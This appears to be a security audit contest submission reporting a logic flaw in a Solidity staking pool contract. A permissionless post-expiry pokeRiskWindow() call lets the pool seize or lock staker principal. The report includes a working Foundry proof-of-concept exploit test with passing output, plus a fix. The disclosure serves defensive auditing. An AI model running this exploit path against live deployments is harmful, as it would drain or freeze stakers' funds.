FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Post-term pokeRiskWindow seals a nonzero risk window, converting an EXPIRED refund into a CORRUPTED principal seizure

Author Revealed upon completion

Severity: Medium. The pre-grace principal lock (Impact 2) needs no trust assumption — a single permissionless post-term poke traps all staker principal until the moderator intervenes. The permanent principal loss (Impact 1) additionally requires the registry to reach CORRUPTED only after the term and the moderator to be absent for the full 180-day grace. Trigger is permissionless in both cases.

Summary

A permissionless post-expiry pokeRiskWindow() seals riskWindowStart = expiry (a nonzero value) even when the registry never entered an active-risk state during the pool's term. That nonzero latch is the only condition the auto-CORRUPTED backstop in claimExpired keys on (state == CORRUPTED && riskWindowStart != 0). As a result, a breach that occurs entirely after the pool's coverage term — which docs/DESIGN.md (§2, §5) says must resolve EXPIRED and refund staker principal — is instead flipped into the CORRUPTED path, seizing the entire pool (all staker principal) to recoveryAddress.

Vulnerability Details

_markRiskWindowStart caps the observation timestamp at expiry and writes it unconditionally:

// ConfidencePool.sol : _markRiskWindowStart (L801-817)
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t); // <-- nonzero even when t was capped from a POST-expiry observation

The cap exists to keep the k=2 bonus math sane for a late in-term observation (documented in DESIGN §7). But it has an unintended side effect: a first active-risk observation that happens after expiry still writes a nonzero riskWindowStart (= expiry), as if an in-term risk window had existed.

pokeRiskWindow() is permissionless and only requires outcome == UNRESOLVED; it has no expiry guard, so anyone can trigger the sealing after the term:

// ConfidencePool.sol : pokeRiskWindow (L649-658)
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState(); // seals riskWindowStart if state is active-risk
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

The auto-CORRUPTED backstop in claimExpired then keys purely on that latch:

// ConfidencePool.sol : claimExpired (L532)
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator(); // pre-grace: principal LOCKED
}
outcome = PoolStates.Outcome.CORRUPTED; // post-grace: principal SEIZED
...
}

docs/DESIGN.md §6 states the auto-CORRUPTED backstop "by definition cannot apply when no risk window was observed," and §2/§5 state that a pool whose term ends with no in-term risk must resolve EXPIRED. The existing test testCorruptedAutoResolveSkippedWhenRiskWindowNeverOpened encodes exactly this intended EXPIRED-refund behavior. A post-term pokeRiskWindow() subverts it: the latch the design assumes is only set during the term is set after it.

Impact

  • Permanent principal loss (post-grace): After expiry + 180d, claimExpired auto-finalizes bad-faith CORRUPTED and claimCorrupted sweeps the full pool (all staker principal) to recoveryAddress. Stakers who should have received EXPIRED refunds lose 100% of principal, for a breach outside the term they underwrote.

  • Principal lock with no trust assumption (pre-grace): Even without any moderator-absence assumption, a single permissionless post-term poke makes claimExpired revert AgreementCorruptedAwaitingModerator, trapping all staker principal for up to 180 days until the moderator intervenes. Without the poke, claimExpired refunds principal immediately.

The trigger is permissionless (anyone can poke), and the pool's own recovery path (recoveryAddress) is sponsor-controlled, so a sponsor is directly incentivized to perform the seize.

Proof of Concept

Add as test/poc/PostTerm.t.sol and run forge test --match-contract PostTermCorruptedPoC -vvv. All three pass. The registry is held in NEW_DEPLOYMENT for the whole term (so riskWindowStart == 0 at expiry, the "no observable risk" precondition); the breach happens only after expiry.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PostTermCorruptedPoC is BaseConfidencePoolTest {
uint256 internal constant STAKE_AMT = 100 * ONE;
/// IMPACT 1: post-term poke -> full principal swept to recoveryAddress via auto-CORRUPTED.
function test_exploit_postTermPokeCausesPrincipalLoss() external {
// Registry stays NEW_DEPLOYMENT for the whole term (setUp leaves it there).
_stake(alice, STAKE_AMT);
assertEq(token.balanceOf(alice), 0, "alice staked her whole balance");
assertEq(pool.riskWindowStart(), 0, "no active-risk observed during term");
uint256 expiryTs = pool.expiry();
// Warp PAST expiry; riskWindowStart still 0 (term ended with no in-term risk).
vm.warp(expiryTs + 1 days);
assertEq(pool.riskWindowStart(), 0, "still zero right after expiry");
// Breach happens AFTER the term. Anyone seals the latch.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow(); // permissionless
// BUG: post-expiry first observation still seals a NONZERO riskWindowStart (capped to expiry).
assertEq(pool.riskWindowStart(), expiryTs, "post-term poke sealed riskWindowStart = expiry");
// Registry reaches terminal CORRUPTED (post-term breach succeeded).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Past the moderator grace so the permissionless auto-resolve is reachable.
vm.warp(expiryTs + pool.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED),
"flipped to CORRUPTED (design says EXPIRED for a no-in-term-risk pool)"
);
// Sweep: full pool -> recoveryAddress; staker recovers nothing.
uint256 recoveryBefore = token.balanceOf(pool.recoveryAddress());
assertEq(token.balanceOf(address(pool)), STAKE_AMT, "pool holds alice's full principal");
pool.claimCorrupted(); // permissionless sweep on bad-faith CORRUPTED
assertEq(token.balanceOf(pool.recoveryAddress()) - recoveryBefore, STAKE_AMT, "full principal swept");
assertEq(token.balanceOf(alice), 0, "staker recovered NOTHING");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
}
/// CONTROL: identical, but WITHOUT the post-term poke -> resolves EXPIRED, staker refunded.
function test_control_noPokeResolvesExpiredRefund() external {
_stake(alice, STAKE_AMT);
assertEq(pool.riskWindowStart(), 0, "no active-risk observed during term");
uint256 expiryTs = pool.expiry();
vm.warp(expiryTs + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// (no pool.pokeRiskWindow() here)
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(expiryTs + pool.MODERATOR_CORRUPTED_GRACE() + 1);
assertEq(pool.riskWindowStart(), 0, "latch never sealed -> auto-CORRUPTED gate disarmed");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"correctly resolves EXPIRED when no in-term risk window was observed"
);
assertEq(token.balanceOf(alice) - aliceBefore, STAKE_AMT, "staker refunded full principal");
}
/// IMPACT 2 (no moderator-absence assumption): post-term poke, still within grace ->
/// claimExpired reverts, principal locked until the moderator acts.
function test_exploit_preGracePrincipalLock() external {
_stake(alice, STAKE_AMT);
uint256 expiryTs = pool.expiry();
vm.warp(expiryTs + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiryTs, "post-term poke sealed riskWindowStart = expiry");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertLt(vm.getBlockTimestamp(), expiryTs + pool.MODERATOR_CORRUPTED_GRACE(), "still in grace");
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
assertEq(token.balanceOf(alice), 0, "staker principal locked");
assertEq(token.balanceOf(address(pool)), STAKE_AMT, "principal held hostage in the pool");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "outcome still unresolved");
}
}

Output:

Ran 3 tests for test/poc/PostTerm.t.sol:PostTermCorruptedPoC
[PASS] test_control_noPokeResolvesExpiredRefund()
[PASS] test_exploit_postTermPokeCausesPrincipalLoss()
[PASS] test_exploit_preGracePrincipalLock()
Suite result: ok. 3 passed; 0 failed; 0 skipped

Recommended Mitigation

Do not open the risk window from an observation at or after expiry — a first active-risk observation past the term should leave riskWindowStart == 0 so claimExpired falls through to the staker-favorable EXPIRED refund:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t >= expiry) return; // post-term observation must NOT open an in-term risk window
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Equivalently, gate the claimExpired auto-CORRUPTED branch on the risk window having opened strictly before expiry.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!